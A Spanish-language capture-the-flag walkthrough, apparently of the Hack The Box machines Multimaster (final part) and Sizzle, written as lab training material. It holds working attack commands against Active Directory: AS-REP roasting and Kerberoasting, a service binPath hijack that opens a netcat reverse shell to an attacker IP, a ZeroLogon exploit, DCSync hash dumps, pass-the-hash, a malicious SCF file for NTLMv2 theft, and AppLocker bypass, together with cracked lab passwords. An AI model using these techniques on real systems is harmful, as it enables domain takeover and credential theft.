36e419162e9c33e77ceb7fca0aa492f59c4204647b8d33080dc11b90b91b6169029808af527f6c6acb1ccc848e3771a0accbf4c7ba75381be92f112ec08e3758b0d205d2cae74e52eb1d0b78731a0713467cf01bc2adfc19623ac8389a8513965001cfc55b57d11091c90b5c835e7109883e68a83409e9e390924cf18defb21e13cd759ec92a858f926f42e713c52546b0c8c

Abusing GenericWrite privileges to set DONT_REQ_PREAUTH for AS-REP Roasting

En la siguiente secciรณn, lo que realizaremos es asignar al usuario objetivo jorden@megacorp.local la flag (DONT_REQ_PREAUTH) de Kerberos para que sea susceptible a AS-REP Roast Attack para obtener un TGT (Ticket Granting Ticket). Es decir, si logramos asignarle esa opciรณn al usuario, recibiremos un hash que posteriormente podremos intentar crackear de manera offline y obtener la contraseรฑa en texto plano.

Antes de la explotaciรณn

Tal como se nos indicaba en BloodHound, ninguno de los usuarios del dominio tenian asignado esa flag, eso lo hemos verificado nuevamente al realizar el ataque de AS-REP Roast Attack.

โฏ impacket-GetNPUsers -no-pass -usersfile users.txt megacorp.local/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

...[snip]...
[-] User jorden doesn't have UF_DONT_REQUIRE_PREAUTH set
...[snip]...

A travรฉs de la herramienta de bloodyAD procederemos a asignarle la flag de (DONT_REQ_PREAUTH) al usuario jorden@megacorp.local. Al asignarle esa flag y realizar nuevamente el ataque, verificamos que recibimos el hash TGT (Ticket Granting Ticket).

โฏ bloodyAD --host 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!' add uac 'jorden' -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to jorden's userAccountControl

โฏ impacket-GetNPUsers -no-pass -usersfile users.txt megacorp.local/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

...[snip]...
$krb5asrep$23$jorden@MEGACORP.LOCAL:23e4403a846d9d192765cf32f4009d69$1ace15eacf503d3b23f5e5f21d3d46da309bb23f7d639d7258344d4f1b64bd9ea8af1e26b484688d83c8acdc605b3171322875257f8d85a909ce4f0f115cac65bb09d55fc73c48ce9897d817fa500cde93d239c3caee33f41d0ad29ca4a5cc67517b1cdf4a51cbee5c181c6e1aae2a79cc5b5b6e304f751fe5c449c7ff0010e66bc65771ce10cdfabdabcfa5d7dd5e973238da23a9b622e68da8b63851e4cfb950c51a53831c0be5268c3c6c7c94e0aad70a5ef93f469fd0cef8d3f3dc20d226066bcfa32ccbdb6ea8def727c054bc9aa12654bdafac4e4542845c0e58efd0225df48264c2559848f1f7dcfe0574c14d
...[snip]...

Procederemos a crackear con hashcat cualquiera de los dos hashes obtenidos TGT/TGS. Verifiamos que hemos logrado obtener la contraseรฑa en texto plano.

โฏ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
...[snip]...
$krb5asrep$23$jorden@MEGACORP.LOCAL:23e4403a846d9d192765cf32f4009d69$1ace15eacf503d3b23f5e5f21d3d46da309bb23f7d639d7258344d4f1b64bd9ea8af1e26b484688d83c8acdc605b3171322875257f8d85a909ce4f0f115cac65bb09d55fc73c48ce9897d817fa500cde93d239c3caee33f41d0ad29ca4a5cc67517b1cdf4a51cbee5c181c6e1aae2a79cc5b5b6e304f751fe5c449c7ff0010e66bc65771ce10cdfabdabcfa5d7dd5e973238da23a9b622e68da8b63851e4cfb950c51a53831c0be5268c3c6c7c94e0aad70a5ef93f469fd0cef8d3f3dc20d226066bcfa32ccbdb6ea8def727c054bc9aa12654bdafac4e4542845c0e58efd0225df48264c2559848f1f7dcfe0574c14d:rainforest786
...[snip]...

Verificaremos nuevamente que las credenciales obtenidas sean vรกlidas y que nos podamos conectar al equipo mediante evil-winrm ya que el usuario forma parte del grupo Remote Management Users.

โฏ nxc smb 10.10.10.179 -u 'jorden' -p 'rainforest786'
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\jorden:rainforest786

โฏ evil-winrm -i 10.10.10.179 -u 'jorden' -p 'rainforest786'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint

Privilege Escalation

Revisando los permiso/grupos del usuario que disponemos actualmente jorden@megacorp.local revisamos que el usuario foma parte del grupo SERVER OPERATORS@megacorp.local.

Windows PrivEsc: Server Operator Group

El grupo Server Operators es un grupo de seguridad integrado en los entornos de Windows Server. A los miembros de este grupo se les otorgan privilegios administrativos especรญficos que les permiten realizar tareas relacionadas con el servidor sin tener derechos administrativos completos. Este grupo estรก diseรฑado principalmente para la administraciรณn delegada del servidor. Privilegios clave de los operadores de servidor

Los miembros del grupo Operadores de servidor tienen los siguientes privilegios:

  • Iniciar y detener servicios:

    • Pueden iniciar, detener y pausar servicios en el servidor, lo que es crucial para el mantenimiento y la resoluciรณn de problemas del servidor.

  • Administrar recursos compartidos:

    • Los operadores de servidor pueden crear, modificar y eliminar carpetas compartidas y administrar recursos compartidos de impresoras, lo que les permite administrar recursos compartidos de manera eficaz.

  • Operaciones de copia de seguridad y restauraciรณn:

    • Los miembros pueden realizar copias de seguridad de archivos y restaurar archivos a partir de copias de seguridad, lo que facilita la administraciรณn de los procesos de recuperaciรณn de datos.

  • Iniciar sesiรณn localmente:

    • Los miembros tienen la capacidad de iniciar sesiรณn localmente en el servidor, lo que les permite administrar directamente el servidor a travรฉs de su consola.

  • Administrar usuarios y grupos locales:

    • Pueden agregar o eliminar usuarios de grupos locales y administrar cuentas locales, lo que es importante para las tareas de administraciรณn de usuarios.

Hemos conseguido mรกs informaciรณn de lo que trata esta escalada de privilegios desde el siguiente blog donde se detalla la explotaciรณn.

LogoWindows Privilege Escalation: Server Operator Group - Hacking ArticlesHacking Articles

Desde el equipo procederemos a revisar los servicios que se encuentran en ejecuciรณn.

*Evil-WinRM* PS C:\Users\jorden\Documents> services

Path                                                                                                                 Privileges Service          
----                                                                                                                 ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS             
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe                                                           True aspnet_state     
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5EB04B3D-85AE-4574-88FB-F22CF32D39F5}\MpKslDrv.sys       True MpKslDrv         
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER                          True MSSQLSERVER      
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost         
"C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe"                                                     True SQLBrowser       
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE" -i MSSQLSERVER                         True SQLSERVERAGENT   
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlceip.exe" -Service                                True SQLTELEMETRY     
"C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe"                                                            True SQLWriter        
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller 
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService    
C:\Program Files\VMWare\VMWare Tools\vmtoolsd.exe                                                                          True VMTools          
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\NisSrv.exe"                                              True WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\MsMpEng.exe"                                             True WinDefend

Despuรฉs de revisar los servicios que se encuentran en ejecuciรณn, el siguiente paso serรก subir al equipo vรญctima el binario nc.exe para posteriormente aprovechar de que formamos parte de este grupo, para modificar el binPath del servicio e indicarle que la ruta del servicio es la ejecuciรณn de una Reverse Shell utilizando el binario subido de nc.exe.

Verificamos que logramos modificar correctamente el binPath del servicio VMTools, tambiรฉn podemos utilizar el servicio browser.

*Evil-WinRM* PS C:\Users\jorden\Documents> upload /usr/share/windows-binaries/nc.exe
                                        
Info: Uploading /usr/share/windows-binaries/nc.exe to C:\Users\jorden\Documents\nc.exe
                                        
Data: 79188 bytes of 79188 bytes copied
                                        
Info: Upload successful!

*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe config VMTools binPath="C:\Users\jorden\Documents\nc.exe -e cmd 10.10.16.5 443"
[SC] ChangeServiceConfig SUCCESS

En una terminal nos pondremos en escucha por el puerto especificado en el punto anterior.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...

Volveremos a la terminal del equipo vรญctima y procederemos a parar y volver a iniciar el servicio el cual hemos modificado el binPath para que ejecute la Reverse Shell.

*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe stop VMTools

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe start VMTools

Verificamos que al volver a iniciar el servicio, hemos logrado obtener conexiรณn a travรฉs de la Reverse Shell, en este caso, el usuario que arranca el servicio es el usuario NT AUTHORITY\SYSTEM, lo cual tenemos control total sobre el equipo.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49948
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
b989bf465f20e0******************

ZeroLogon Exploitation to performing DCSync Attack

Durante el anรกlisis realizado, descubrimos que el Domain Controller es vulnerable al exploit ZeroLogon(CVE-2020-1472). Esta vulnerabilidad permite comprometer la seguridad del dominio y elevar privilegios al manipular las credenciales y las conexiones SMB.

โฏ nxc smb 10.10.10.179 -u 'jorden' -p 'rainforest786' -d megacorp.local -M zerologon
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [+] megacorp.local\jorden:rainforest786 
ZEROLOGON   10.10.10.179    445    MULTIMASTER      VULNERABLE
ZEROLOGON   10.10.10.179    445    MULTIMASTER      Next step: https://github.com/dirkjanm/CVE-2020-1472

Nos descargaremos el siguiente repositorio en nuestro equipo atacante para explotar la vulnerabilidad.

LogoGitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of SecuraGitHub
โฏ git clone https://github.com/dirkjanm/CVE-2020-1472; cd CVE-2020-1472
Clonando en 'CVE-2020-1472'...
remote: Enumerating objects: 41, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 41 (delta 6), reused 4 (delta 4), pack-reused 29 (from 1)
Recibiendo objetos: 100% (41/41), 23.83 KiB | 903.00 KiB/s, listo.
Resolviendo deltas: 100% (14/14), listo.

En el PoC del exploit de ZeroLogon, verificamos el uso de la herramienta.

Al realizar la explotaciรณn del CVE, lo que realiza esta vulnerabiliadd es dejar las credenciales del Domain Controller (DC) vacรญas.

Por lo tanto, al proceder a realizar un DCSync Attack con la cuenta del DC sin indicarle credenciales, obtenemos los hashes NTLM de todo el dominio.

Esto compromete gravemente la seguridad, debido que disponemos del acceso a cualquier usuario haciendo ataques como Pass-The-Hash.

โฏ python3 cve-2020-1472-exploit.py MULTIMASTER 10.10.10.179
Performing authentication attempts...
======================================================================
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

โฏ secretsdump.py -just-dc-ntlm -no-pass megacorp.local/'MULTIMASTER$'@10.10.10.179 -dc-ip 10.10.10.179
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:69cbf4a9b7415c9e1caf93d51d971be0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06e3ae564999dbad74e576cdf0f717d3:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MEGACORP.LOCAL\svc-nas:1103:aad3b435b51404eeaad3b435b51404ee:fe90dcf97ce6511a65151881708d6027:::
MEGACORP.LOCAL\tushikikatomo:1110:aad3b435b51404eeaad3b435b51404ee:1c9c8bfd28d000e8904f23c280b25d21:::
MEGACORP.LOCAL\andrew:1111:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
MEGACORP.LOCAL\lana:1112:aad3b435b51404eeaad3b435b51404ee:3c3c292710286a539bbec397d15b4680:::
MEGACORP.LOCAL\alice:1601:aad3b435b51404eeaad3b435b51404ee:19b44ab9ec562fe20b35ddb7c6fc0689:::
MEGACORP.LOCAL\dai:2101:aad3b435b51404eeaad3b435b51404ee:cb8a655c8bc531dd01a5359b40b20e7b:::
MEGACORP.LOCAL\svc-sql:2102:aad3b435b51404eeaad3b435b51404ee:3a36abdc15d86766d4cd243d8557e10d:::
MEGACORP.LOCAL\sbauer:3102:aad3b435b51404eeaad3b435b51404ee:050ba67142895b5844a24d5ce9644702:::
MEGACORP.LOCAL\okent:3103:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\ckane:3104:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\kpage:3105:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\james:3106:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\cyork:3107:aad3b435b51404eeaad3b435b51404ee:06327297532725a64e1edec0aad81cfe:::
MEGACORP.LOCAL\rmartin:3108:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\zac:3109:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\jorden:3110:aad3b435b51404eeaad3b435b51404ee:90960176fcbfe36b4a69fafb3cc0b716:::
MEGACORP.LOCAL\alyx:3111:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\ilee:3112:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\nbourne:3113:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\zpowers:3114:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\aldom:3115:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\jsmmons:3116:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\pmartin:3117:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MULTIMASTER$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up... 

Al realizar un dump del NTDS.dit, verificaremos que podemos realizar Pass-The-Hash con el usuario Administrator y conectarnos a travรฉs de la herramienta wmiexec.py.

โฏ nxc smb 10.10.10.179 -u 'Administrator' -H '69cbf4a9b7415c9e1caf93d51d971be0'
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\Administrator:69cbf4a9b7415c9e1caf93d51d971be0 (Pwn3d!)

โฏ wmiexec.py megacorp.local/Administrator@10.10.10.179 -hashes :69cbf4a9b7415c9e1caf93d51d971be0 -dc-ip 10.10.10.179
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
megacorp\administrator

Sizzle

Sizzle es un sistema operativo Windows con un entorno de Active Directory que presenta una dificultad increรญble. Un directorio en el que se puede escribir en un recurso compartido SMB permite robar hashes NTLM que se pueden descifrar para acceder al Portal de servicios de certificados. Se puede crear un certificado autofirmado utilizando la CA y utilizarlo para PSRemoting. Un SPN asociado a un usuario permite un ataque kerberoast en el sistema. Se descubre que el usuario tiene derechos de replicaciรณn que se pueden utilizar de forma abusiva para obtener hashes de administrador a travรฉs de DCSync.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que estรกn expuestos en la mรกquina Sizzle.

nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.103 -oG allPorts

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.

nmap -sCV -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49666,49669,49673,49690,49691,49693,49696,49708,49724,49743 10.10.10.103 -A -oN targeted -oX targetedXML

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

xsltproc targetedXML > index.html

python3 -m http.server 80

Accederemos a http://localhost y comprobaremos el resultado en un formato mรกs cรณmodo para su anรกlisis.

Comprobaremos el nombre del dominio con el cual nos enfrentamos a travรฉs del siguiente comando.

Verificaremos tambiรฉn a quรฉ tipo de mรกquina nos enfrentamos a travรฉs de netexec.

ldapsearch -x -H ldap://10.10.10.103 -s base | grep defaultNamingContext

nxc smb 10.10.10.103

Procederemos a aรฑadir la entrada en nuestro archivo /etc/hosts

catnp /etc/hosts | grep sizzle

Web Enumeration

Procederemos a acceder a https://sizzle.htb.local el cual contiene un GIF, aparantemente no contiene ningรบn metadato ni nada extraรฑo.

Revisaremos las tecnologรญas que utiliza la aplicaciรณn web a travรฉs de la herramienta de whatweb.

whatweb https://sizzle.htb.local

Por otra parte, procederemos a realizar una enumeraciรณn de posibles directorios del sitio web.

gobuster dir -u https://sizzle.htb.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

Procederemos a revisar si podemos hacer (Directory Listing) sobre los directorios que hemos encontrado. Verificamos que nos aparece mensaje de 403 Forbidden.

FTP Enumeration

Procederemos a enumerar el servicio de FTP a travรฉs del usuario anonymous, verificamos que podemos acceder correctamente pero no dispone de ningรบn directorio/archivo en el servidor FTP.

ftp 10.10.10.103

SMB Enumeration

Revisaremos si el usuario guest se encuentra habilitado y podemos autenticarnos al sevidor SMB. Verificamos que el usuario se encuentra activo y dispone de permisos READ sobre un recurso compartido nombrado (Department Shares).

nxc smb 10.10.10.103 -u 'guest' -p ''

nxc smb 10.10.10.103 -u 'guest' -p '' --shares

Verificaremos a travรฉs del mรณdulo de (spider_plus) la estructura de los recursos compartidos, para ver si dispone de algรบn archivo interesante.

En este caso, vemos que hay archivos pero ninguno que nos pueda aportar informaciรณn relevante.

nxc smb 10.10.10.103 -u 'guest' -p '' -M spider_plus

cat /tmp/nxc_hosted/nxc_spider_plus/10.10.10.103.json | jq

SCF File Attack for NTLMv2 Hash Stealing

Uno de los ataques mรกs eficaces en redes SMB es el Hash Stealing utilizando un archivo SCF malicioso. Este tipo de ataque permite interceptar las credenciales NTLMv2 de usuarios conectados a recursos compartidos en un servidor vulnerable.

Antes de proceder a analizar el recurso SMB, lo primero es montar el recurso en nuestro sistema local. Esto nos permitirรก explorar los directorios y sus permisos para comprobar si podemos escribir en alguno de ellos.

mkdir /mnt/shares

mount -t cifs -o username=guest,password=  '//10.10.10.103/Department Shares' /mnt/shares

cd /mnt/shares

ls -l

A travรฉs del sguiente comando, procederemos a enumerar todos los directorios para buscar si disponemos de permisos de Escritura sobre alguno de ellos.

Verificamos que hay un recurso llamado "Users/Public" que podrรญamos probar de realizar el ataque en este recurso.

for dir in $(ls /mnt/shares); do for subdir in $(ls /mnt/shares/$dir); do smbcacls "//10.10.10.103/Department Shares" "$dir/$subdir" -N | grep -i everyone | grep -i full > /dev/null && echo "[*] Directorio $dir/$subdir: Permisos de escritura"; done; done

Una vez montado el recurso SMB, procederemos a crear un archivo SCF malicioso que redirija las acciones realizadas sobre el recurso SMB hacia nuestro sistema. Este archivo malicioso permitirรก interceptar las comunicaciones SMB y posteriormente robar los hashes NTLMv2.

[Shell]
Command=2
IconFile=\\10.10.16.5\smbFolder\test.ico
[Taskbar]
Command=ToggleDesktop

Una de las maneras que disponemos de realizar el ataque, es montando un servidor SMB en nuestra Kali para recibir el hash NTLMv2.

Para empezar, subiremos el archivo SCF malicioso en el recurso que podemos escribir (Users/Public) y con el servidor SMB montado, al pasar un tiempo vemos que recibimos el hash NTLMv2 del usuario "amanda".

smbserver.py smbFolder $(pwd) -smb2support

smbclient "//10.10.10.103/Department Shares/" -U 'Guest%'

cd Users/Public

put file.scf 

Otra de las maneras de realizar el ataque sin tener el servidor SMB montado en nuestro equipo atacante, es mediante el Responder, el cual recibirรก el hash NTLMv2.

responder -I tun0 -v

smbclient "//10.10.10.103/Department Shares/" -U 'Guest%'

cd Users/Public

put file.scf 

Guardaremos el hash NTLMv2 en un archivo TXT y a travรฉs de la herramienta de hashcat, procederemos a intentar crackear el hash para obtener la contraseรฑa en texto plano.

hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt

Shell as amanda

Primero, procederemos a validar si las credenciales obtenidas para el usuario amanda son vรกlidas, y tambiรฉn investigaremos de quรฉ recursos compartidos tenemos permisos.

Al realizar un escaneo de recursos compartidos SMB en la mรกquina objetivo (10.10.10.103), observamos que tenemos acceso de READ sobre el recurso compartido llamado CertEnroll. Este recurso es utilizado por los servicios de Active Directory para gestionar certificados, donde se almacenan las solicitudes, plantillas y configuraciones asociadas. Aunque tenemos acceso de solo lectura, podemos intentar aprovechar esta entrada para realizar alguna acciรณn.

Con las credenciales amanda / Ashare1972, intentamos conectarnos al WinRM, pero descubrimos que la autenticaciรณn NTLM no estรก funcionando correctamente. A pesar de ingresar las credenciales correctamente, el sistema simplemente nos vuelve a solicitar la autenticaciรณn, indicando que probablemente estรฉ configurado para requerir un mecanismo de autenticaciรณn mรกs seguro.

nxc smb 10.10.10.103 -u 'amanda' -p 'Ashare1972'

nxc smb 10.10.10.103 -u 'amanda' -p 'Ashare1972' --shares

Al intentar acceder al servicio WinRM con las credenciales amanda / Ashare1972, nos encontramos con que la autenticaciรณn NTLM no funciona correctamente.

A pesar de ingresar las credenciales correctamente, el sistema simplemente nos vuelve a solicitar la autenticaciรณn, como si las credenciales fueran invรกlidas. Esto ocurre porque el servicio estรก bloqueado o configurado para requerir un mecanismo de autenticaciรณn mรกs seguro.

evil-winrm -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'

Generate Certificate and Key for amanda accessing /certsrv

Dado que la autenticaciรณn NTLM estรก bloqueada, decidimos investigar el recurso compartido CertEnroll para buscar un servicio alternativo que permita la autenticaciรณn. Al explorar el sitio web asociado, encontramos el directorio /certsrv/, que pertenece al servicio de Active Directory Certificate Services (AD CS).

Utilizamos el escรกner gobuster para realizar un barrido del sitio web y verificamos que existe el directorio https://sizzle.htb.local/certsrv/:

gobuster dir -u http://sizzle.htb.local -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt -t 200

Intentamos acceder a https://sizzle.htb.local/certsrv/ con las credenciales de la usuaria (amanda@htb.local).

Verirficamos que logramos ingresar a la pรกgina de Microsoft Active Directory Certificate Services (AD CS).

En la pรกgina, observamos que se nos permite solicitar un certificado, eligiendo entre User Certificate o Advanced certificate request. Debemos seleccionar la opciรณn de Advanced certificate request.

Procedemos a generar un Certificate Signing Request (CSR) con OpenSSL. Este CSR contiene informaciรณn que enviaremos al servidor para obtener un certificado vรกlido.

openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr

Volvemos al sitio /certsrv/ y pegamos el contenido del CSR en el formulario de solicitud.

El servidor nos ofrece el certificado en formato Base64. Seleccionamos la opciรณn de Download certificate para descargar el certificado correspondiente al usuario amanda.

Revisaremos que disponemos de los archivos CSR, KEY y CER de los certificados que hemos generado.

Ahora, con el certificado descargado, procedemos a autenticar al usuario amanda utilizando WinRM. Reemplazamos las credenciales tradicionales con el certificado, lo que nos permite acceder correctamente al equipo:

evil-winrm -S -c certnew.cer -k amanda.key -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'

BloodHound Enumeration

Dado que disponemos de credenciales vรกlidas de un usuario del dominio, procederemos a realizar una enumeraciรณn a travรฉs de BloodHound en buscar de vectores para elevar nuestros privilegios.

bloodhound-python -c All -ns 10.10.10.103 -u 'amanda' -p 'Ashare1972' -d htb.local --zip

Al enumerar en BloodHound, verificamos que hay un usuario que es Kerberoastable, por lo tanto, es susceptible a realizar un Kerberoasting Attack.

Initial Access

Kerberoasting Attack (GetUserSPNs) - [FAILED]

Dado que hemos visto que existe un usuario susceptible al Kerberoasting Attack, procederemos a intentar a realizar el ataque a travรฉs de la herramienta GetUserSPNs, verificamos que no nos reporta ningรบn resultado.

Esto es debido seguramente a que el Kerberos no se encuentra expuesto, deberemos de buscar otra manera de explotar este ataque.

impacket-GetUserSPNs -dc-ip 10.10.10.103 htb.local/amanda -debug 2>/dev/null

Kerberoasting Attack (Rubeus)

Dado que disponemos de acceso a la mรกquina vรญctima (Domain Controller), podemos de probar de realizar el Kerberoasting Attack a travรฉs de la herramienta de Rubeus.exe.

Procederemos a intentar subir el binairo del Rubeus.exe y en nuestro caso no nos permite la subida directamente con el comando "upload" que nos poporciona evil-winrm.

Probaremos de levantar un servidor web con Python y a descargar el archivo a travรฉs de IWR, verificamos que el binario se ha descargado correctamente en el equipo vรญctima.

python3 -m http.server 80

IWR -Uri http://10.10.16.5/Rubeus.exe -OutFile Rubeus.exe

Al intentar ejecutar el binario en la ruta (C:\Temp), nos aparece un eror indicando que se ha bloqueado la ejecuciรณn debido a una polรญtica, muy probablemente debido al AppLocker.

A travรฉs del siguiente comando, revisaremos la polรญtica del AppLocker y verificamos que hay una excepciรณn en los directorios que se encuentran dentro de (WinDir).

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Otra de las maneras para evitar la restricciรณn del AppLocker, es mediante las siguientes rutas que nos encontramos en el siguiente repositorio de GitHub. Generic AppLocker ByPasses

En nuestro caso, hemos optado por crear un directorio en (C:\Windows\Temp), moveremos el binario a este nuevo directorio creado.

Una vez obtenido el binario en este nuevo directorio, al realizar el ataque, verificamos que hemos conseguido el TGS (Ticket Granting Service) del usuario (mrlky@htb.local).

./Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972

Performing a port forwarding to perform a Kerberoasting attack (Chisel && GetUserSPNs)

A continuaciรณn, veremos otra de las maneras efectivas de explotar este ataque mediante Port-Forwarding.

Dado que el puerto 88 (Kerberos) no se encuentra expuesto en el equipo vรญctima y con la herramienta de impacket-GetUserSPNs al principio no pudimos efectuar el ataque, el objetivo serรก realizar el Port-Forwarding del puerto 88 (Kerberos) y 389 (LDAP) del Domain Controller para que se encuentren accesibles desde nuestro equipo local de atacante.

Para ello, pasaremos el binario del chisel.exe al equipo vรญctima, configuraremos el chisel en sevidor en la mรกquina Kali y cliente en el equipo Windows, haremos que el Kerberos y LDAP sean accesibles por los mismos puertos pero desde nuestro equipo de atacante.

# Desde el equipo atacante
python3 -m http.server 80

# Desde el equipo vรญctima
IWR -Uri http://10.10.16.5/chisel.exe -OutFile chisel.exe

# Desde el equipo atacante
./chisel server --reverse -p 1234

# Desde el equipo vรญctima
./chisel.exe client 10.10.16.5:1234 R:88:127.0.0.1:88 R:389:127.0.0.1:389

Revisaremos que en nuestro equipo, los puertos 88 (Kerberos) y 389 (LDAP) se encuentran accesibles correctamente a travรฉs de chisel.

Pocederemos de realizar nuevamente el ataque mediante la herramienta de impacket-GetUserSPNs al localhost (127.0.0.1) y verificamos que ahora si hemos podido realizar el ataque desde la mรกquina Kali y hemos obtenido el TGS (Ticket Granting Service).

impacket-GetUserSPNs -dc-ip 127.0.0.1 htb.local/amanda -request 2>/dev/null

Al obtener el TGS; pocederemos a crackearlo con hashcat y verificamos que hemos logrado obtener la contraseรฑa en texto plano del usuario mrlky@htb.local.

hashcat -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Validaremos que las credenciales de este usuario son vรกlidas y de los recursos que tiene acceso dicho usuario.

nxc smb 10.10.10.103 -u 'mrlky' -p 'Football#7'

nxc smb 10.10.10.103 -u 'mrlky' -p 'Football#7' --shares

Privilege Escalation

Revisando nuevamente en BloodHound, verificamos que este nuevo usuario dispone de permisos de DCSync sobre el dominio.

